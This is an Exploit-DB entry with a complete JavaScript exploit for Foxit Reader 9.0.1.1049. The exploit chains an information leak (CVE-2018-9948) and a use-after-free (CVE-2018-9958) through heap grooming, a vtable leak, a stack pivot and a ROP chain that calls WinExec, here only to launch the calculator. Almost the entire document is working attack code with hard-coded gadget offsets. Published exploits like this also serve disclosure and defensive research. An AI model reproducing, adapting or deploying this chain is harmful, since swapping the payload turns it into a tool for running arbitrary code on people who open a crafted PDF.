Foxit Reader 9.0.1.1049 - Remote Code Execution

EDB-ID: 44941
Author: mr_me
Published: 2018-06-25
CVE: CVE-2018-9948...
Type: Remote
Platform: Windows
Vulnerable App: Download Vulnerable Application

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/*
Foxit Reader Remote Code Execution Exploit
==========================================

Written by: Steven Seeley (mr_me) of Source Incite
Date: 22/06/2018
Technical details: https://srcincite.io/blog/2018/06/22/foxes-among-us-foxit-reader-vulnerability-discovery-and-exploitation.html
Download: https://www.foxitsoftware.com/downloads/latest.php?product=Foxit-Reader&platform=Windows&version=9.0.1.1049&package_type=exe&language=English
Target version: Foxit Reader v9.0.1.1049 (sha1: e3bf26617594014f4af2ef2b72b4a86060ec229f)
Tested on:
1. Windows 7 Ultimate x86 build 6.1.7601 sp1
2. Windows 10 Pro x86 v1803 build 10.0.17134
Vulnerabilities leveraged:
1. CVE-2018-9948
2. CVE-2018-9958
*/

var heap_ptr = 0;
var foxit_base = 0;
var pwn_array = [];

function prepare_heap(size){
/*
This function prepares the heap state between allocations
and frees to get a predictable memory address back.
*/
var arr = new Array(size);
for(var i = 0; i < size; i++){
arr[i] = this.addAnnot({type: "Text"});;
if (typeof arr[i] == "object"){
arr[i].destroy();
}
}
}

function gc() {
/*
This is a simple garbage collector, written by the notorious @saelo
Greetz, mi amigo.
*/
const maxMallocBytes = 128 * 0x100000;
for (var i = 0; i < 3; i++) {
var x = new ArrayBuffer(maxMallocBytes);
}
}

function alloc_at_leak(){
/*
This is the function that allocates at the leaked address
*/
for (var i = 0; i < 0x64; i++){
pwn_array[i] = new Int32Array(new ArrayBuffer(0x40));
}
}

function control_memory(){
/*
This is the function that fills the memory address that we leaked
*/
for (var i = 0; i < 0x64; i++){
for (var j = 0; j < pwn_array[i].length; j++){
pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4
}
}
}

function leak_vtable(){
/*
Foxit Reader Typed Array Uninitialized Pointer Information Disclosure Vulnerability
ZDI-CAN-5380 / ZDI-18-332 / CVE-2018-9948
Found by: bit from meepwn team
*/

// alloc
var a = this.addAnnot({type: "Text"});

// free
a.destroy();
gc();

// kinda defeat lfh randomization in win 10
prepare_heap(0x400);

// reclaim
var test = new ArrayBuffer(0x60);
var stolen = new Int32Array(test);

// leak the vtable
var leaked = stolen[0] & 0xffff0000;

// a hard coded offset to FoxitReader.exe base v9.0.1.1049 (a01a5bde0699abda8294d73544a1ec6b4115fa68)
foxit_base = leaked - 0x01f50000;
}

function leak_heap_chunk(){
/*
Foxit Reader Typed Array Uninitialized Pointer Information Disclosure Vulnerability
ZDI-CAN-5380 / ZDI-18-332 / CVE-2018-9948
Found by: bit from meepwn team
*/

// alloc
var a = this.addAnnot({type: "Text"});

// free
a.destroy();

// kinda defeat lfh randomization in win 10
prepare_heap(0x400);

// reclaim
var test = new ArrayBuffer(0x60);
var stolen = new Int32Array(test);

// alloc at the freed location
alloc_at_leak();

// leak a heap chunk of size 0x40
heap_ptr = stolen[1];
}

function reclaim(){
/*
This function reclaims the freed chunk, so we can get rce and I do it a few times for reliability.
All gadgets are from FoxitReader.exe v9.0.1.1049 (a01a5bde0699abda8294d73544a1ec6b4115fa68)
*/

var arr = new Array(0x10);
for (var i = 0; i < arr.length; i++) {
arr[i] = new ArrayBuffer(0x60);
var rop = new Int32Array(arr[i]);

rop[0x00] = heap_ptr; // pointer to our stack pivot from the TypedArray leak
rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret
rop[0x02] = 0x72727272; // junk
rop[0x03] = foxit_base + 0x00001450 // pop ebp; ret
rop[0x04] = 0xffffffff; // ret of WinExec
rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret
rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec
rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret
rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret
rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret
rop[0x0a] = foxit_base + 0x0041c6ca; // ret
rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret
rop[0x0c] = 0x636c6163; // calc
rop[0x0d] = 0x00000000; // adios, amigo

for (var j = 0x0e; j < rop.length; j++) {
rop[j] = 0x71727374;
}
}
}

function trigger_uaf(){
/*
Foxit Reader Text Annotations point Use-After-Free Remote Code Execution Vulnerability
ZDI-CAN-5620 / ZDI-18-342 / CVE-2018-9958
Found by: Steven Seeley (mr_me) of Source Incite
*/

var that = this;
var a = this.addAnnot({type:"Text", page: 0, name:"uaf"});
var arr = [1];
Object.defineProperties(arr,{
"0":{
get: function () {

// free
that.getAnnot(0, "uaf").destroy();

// reclaim freed memory
reclaim();
return 1;
}
}
});

// re-use
a.point = arr;
}

function main(){

// 1. Leak a heap chunk of size 0x40
leak_heap_chunk();

// 2. Leak vtable and calculate the base of Foxit Reader
leak_vtable();

// 3. Then fill the memory region from step 1 with a stack pivot
control_memory();

// 4. Trigger the uaf, reclaim the memory, pivot to rop and win
trigger_uaf();
}

if (app.platform == "WIN"){
if (app.isFoxit == "Foxit Reader"){
if (app.appFoxitVersion == "9.0.1.1049"){
main();
}
}
}

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